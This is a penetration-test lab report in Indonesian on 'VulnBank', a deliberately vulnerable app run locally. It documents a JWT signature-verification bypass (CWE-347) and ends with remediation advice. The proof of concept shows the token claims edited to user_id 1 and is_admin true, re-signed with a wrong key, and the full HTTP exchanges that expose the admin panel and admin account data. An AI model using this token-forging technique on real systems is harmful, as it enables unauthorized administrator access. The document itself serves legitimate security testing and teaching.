Kembali ke indeks

LAB FAIL

JWT Signature Not Verified - Authentication - Token Validation

JWT Signature Not Verified — Authentication — Token Validation

CWE-347: Improper Verification of Cryptographic Signature · OWASP A07:2021 - Identification and Authentication Failures

Kerentanan

[FAIL] JWT Signature Not Verified - Authentication - Token Validation

Deskripsi

Fungsi verify_token pada auth.py menangkap InvalidSignatureError lalu mencoba ulang decode dengan options={'verify_signature': False} dan mengembalikan payload-nya. Akibatnya token dengan tanda tangan yang salah tetap diterima. Klaim is_admin dibaca langsung dari payload token sehingga penyerang cukup mengubah klaim tersebut.

Dampak

Confidentiality + Integrity (Critical): eskalasi hak akses vertikal dari pengguna biasa menjadi administrator tanpa mengetahui kunci penanda tangan. Token yang ditempa membuka panel admin dan seluruh endpoint administratif, termasuk membaca data pengguna lain dan mengelola akun.

CWE

CWE-347: Improper Verification of Cryptographic Signature

OWASP

A07:2021 - Identification and Authentication Failures

Skenario

Normal: token sah milik pentest_attacker ditolak panel admin dengan 403 Access Denied. Eksploitasi: payload token diubah menjadi user_id 1 dan is_admin true, lalu ditandatangani ulang memakai kunci yang salah (totally-wrong-key). Dampak: token palsu diterima, panel admin terbuka dan data administrator terbaca.

Endpoint

GET http://127.0.0.1:5001/sup3r_s3cr3t_admin GET http://127.0.0.1:5001/api/v3/user/1

Fitur terdampak

Validasi JWT pada seluruh endpoint terproteksi (decorator token_required)

Rekomendasi perbaikan

- Hapus jalur fallback yang melakukan decode dengan verify_signature False; kegagalan verifikasi tanda tangan harus selalu menolak permintaan. - Kunci algoritma ke satu nilai yang diharapkan (HS256) dan tolak nilai lain. - Jangan mengambil keputusan otorisasi dari klaim di dalam token; ambil peran dari database berdasarkan subject token. - Gunakan secret yang kuat dan acak, serta tambahkan klaim exp.

Bukti konsep

  1. (Screenshot 1) NORMAL: token sah pentest_attacker ke /sup3r_s3cr3t_admin -> HTTP 403 Access Denied.
  2. (Screenshot 2) PROSES: token didekode, klaim user_id diubah ke 1 dan is_admin ke true, lalu ditandatangani ulang dengan kunci salah.
  3. (Screenshot 3) EKSPLOITASI: token palsu ke /sup3r_s3cr3t_admin -> HTTP 200, panel admin terbuka.
  4. (Screenshot 4) DAMPAK CIA: token palsu membaca /api/v3/user/1 -> data administrator (ADMIN001, is_admin true) terekspos.

Rekaman lengkap

LAB Semua target adalah sistem lab. Tidak ada satu pun yang merupakan pekerjaan klien. Bukti ditampilkan apa adanya; secret dihitamkan.

HTTP request
GET /sup3r_s3cr3t_admin HTTP/1.1
User-Agent: python-requests/2.33.1
Accept-Encoding: gzip, deflate, br, zstd
Accept: */*
Connection: keep-alive
Authorization: Bearer [REDACTED-LAB-TOKEN]

HTTP response
HTTP/1.1 403 FORBIDDEN
Content-Type: text/html; charset=utf-8
Content-Length: 13
Access-Control-Allow-Origin: *
Server: Werkzeug/2.0.1 Python/3.9.25
Date: Wed, 30 Sep 2026 02:58:16 GMT

Access Denied
Tangkapan layar

Siapkan JWT yang diubah

  1. Captured token [REDACTED-LAB-TOKEN]
  2. Decoded header { "typ": "JWT", "alg": "HS256" }
  3. Decoded payload { "user_id": 2, "username": "pentest_attacker", "is_admin": false, "iat": 1790737096 }
  4. Modified payload { "user_id": 1, "username": "admin", "is_admin": true, "iat": 1790736461 }
  5. Signing key used totally-wrong-key
  6. Re-encoded token [REDACTED-LAB-TOKEN]
Tangkapan layar
HTTP request
GET /sup3r_s3cr3t_admin HTTP/1.1
User-Agent: python-requests/2.33.1
Accept-Encoding: gzip, deflate, br, zstd
Accept: */*
Connection: keep-alive
Authorization: Bearer [REDACTED-LAB-TOKEN]

HTTP response
HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 43060
Access-Control-Allow-Origin: *
Server: Werkzeug/2.0.1 Python/3.9.25
Date: Wed, 30 Sep 2026 02:58:18 GMT

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Admin Panel - VulnBank</title>
    <link rel="icon" type="image/svg+xml" href="/static/favicon.svg">
    <link rel="icon" type="image/svg+xml" href="/static/favicon-16.svg" sizes="16x16">
    <link rel="stylesheet" href="/static/style.css">
    <link rel="stylesheet" href="/static/admin.css">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <script>document.documentElement.setAttribute("data-theme", localStorage.getItem("vb-theme") || "light");</script>
</head>
<body>
    <a href="#main-content" class="skip-link">Skip to main content</a>

    <div class="admin-layout">
        <!-- Sidebar -->
        <aside class="admin-sidebar">
            <div class="sidebar-header">
                <div class="sidebar-logo">
                    <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round">
                        <path d="M12 2v20M17 5H9.5a3.5 3.5 0 0 0 0 7h5a3.5 3.5 0 0 1 0 7H6"></path>
                    </svg>
                    <span class="sidebar-logo-text">VulnBank</span>
                    <span class="sidebar-badge">Admin</span>
                </div>
            </div>

            <nav class="sidebar-nav">
                <a href="#overview" class="sidebar-nav-item active" data-section="overview">
                    <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round">
                        <rect x="3" y="3" width="7" height="7"></rect>
                        <rect x="14" y="3" width="7" height="7"></rect>
                        <rect x="14" y="14" width="7" height="7"></rect>
                        <rect x="3" y="14" width="7" height="7"></rect>
                    </svg>
                    <span>Overview</span>
                </a>
                <a href="#users" class="sidebar-nav-item" data-section="users">
                    <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round">
                        <path d="M17 21v-2a4 4 0 0 0-4-4H5a4 4 0 0 0-4 4v2"></path>
                        <circle cx="9" cy="7" r="4"></circle>
                        <path d="M23 21v-2a4 4 0 0 0-3-3.87"></path>
                        <path d="M16 3.13a4 4 0 0 1 0 7.75"></path>
                    </svg>
                    <span>Users</span>
                </a>
                <a href="#loans" class="sidebar-nav-item" data-section="loans">
                    <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round">
                        <rect x="2" y="7" width="20" height="14" rx="2" ry="2"></rect>
                        <path d="M16 21V5a2 2 0 0 0-2-2h-4a2 2 0 0 0-2 2v16"></path>
                    </svg>
                    <span>Loans</span>
                </a>
                <a href="#settings" class="sidebar-nav-item" data-section="settings">
                    <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round">
                        <circle cx="12" cy="12" r="3"></circle>
                        <path d="M19.4 15a1.65 1.65 0 0 0 .33 1.82l.06.06a2 2 0 0 1 0 2.83 2 2 0 0 1-2.83 0l-.06-.06a1.65 1.65 0 0 0-1.82-.33 1.65 1.65 0 0 0-1 1.51V21a2 2 0 0 1-2 2 2 2 0 0 1-2-2v-.09A1.65 1.65 0 0 0-9 19.4a1.65 1.65 0 0 0-1 1.51 1.65 1.65 0 0 0-1.82.33l-.06.06a2 2 0 0 1-2.83 0 2 2 0 0 1 0-2.83l.06-.06a1.65 1.65 0 0 0 .33-1.82 1.65 1.65 0 0 0-1.51-1H3a2 2 0 0 1-2-2 2 2 0 0 1 2-2h.09A1.65 1.65 0 0 0 4.6 9a1.65 1.65 0 0 0 .33-1.82l-.06-.06a2 2 0 0 1 0-2.83 2 2 0 0 1 2.83 0l.06.06a1.65 1.65 0 0 0 1.82.33H9a1.65 1.65 0 0 0 1-1.51V3a2 2 0 0 1 2-2 2 2 0 0 1 2 2v.09a1.65 1.65 0 0 0 1 1.51 1.65 1.65 0 0 0 1.82-.33l.06-.06a2 2 0 0 1 2.83 0 2 2 0 0 1 0 2.83l-.06.06a1.65 1.65 0 0 0-.33 1.82V9a1.65 1.65 0 0 0 1.51 1H21a2 2 0 0 1 2 2 2 2 0 0 1-2 2h-.09a1.65 1.65 0 0 0-1.51 1z"></path>
                    </svg>
                    <span>Settings</span>
                </a>
            </nav>

            <div class="sidebar-footer">
                <a href="/dashboard" class="sidebar-back-link">
                    <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round">
                        <line x1="19" y1="12" x2="5" y2="12"></line>
                        <polyline points="12 19 5 12 12 5"></polyline>
                    </svg>
                    <span>Back to Dashboard</span>
                </a>
                <button class="theme-toggle-sidebar" onclick="toggleTheme()" aria-label="Toggle dark mode">
                    <span class="toggle-icon toggle-icon-sun">☀️</span>
                    <span class="toggle-icon toggle-icon-moon">🌙</span>
                </button>
            </div>
        </aside>

        <!-- Main Content -->
        <main class="admin-main" id="main-content">
            <!-- Top Bar -->
            <header class="admin-topbar">
                <h1 class="admin-page-title">Overview</h1>
                <div class="admin-profile-mini">
                    <span class="admin-name">System Administrator</span>
                    <img src="/static/uploads/admin.png" alt="Admin">
                </div>
            </header>

            <!-- Messages -->
            <div id="message" aria-live="polite"></div>

            <!-- Overview Section -->
            <section class="admin-section" id="overview-section">
                <div class="section-header">
                    <h2>Transaction Analytics</h2>
                    <p class="section-subt

[... 37049 more bytes not shown ...]
Tangkapan layar
HTTP request
GET /api/v3/user/1 HTTP/1.1
User-Agent: python-requests/2.33.1
Accept-Encoding: gzip, deflate, br, zstd
Accept: */*
Connection: keep-alive
Authorization: Bearer [REDACTED-LAB-TOKEN]

HTTP response
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 185
Access-Control-Allow-Origin: *
Server: Werkzeug/2.0.1 Python/3.9.25
Date: Wed, 30 Sep 2026 02:58:19 GMT

{
  "status": "success",
  "user": {
    "account_number": "ADMIN001",
    "balance": 1000000.0,
    "bio": null,
    "id": 1,
    "is_admin": true,
    "username": "admin"
  }
}
Tangkapan layar

← Kasus sebelumnya: JWT Algorithm Confusion - Authentication - alg none Kasus berikutnya: Mass Assignment - Registration - Privilege Fields →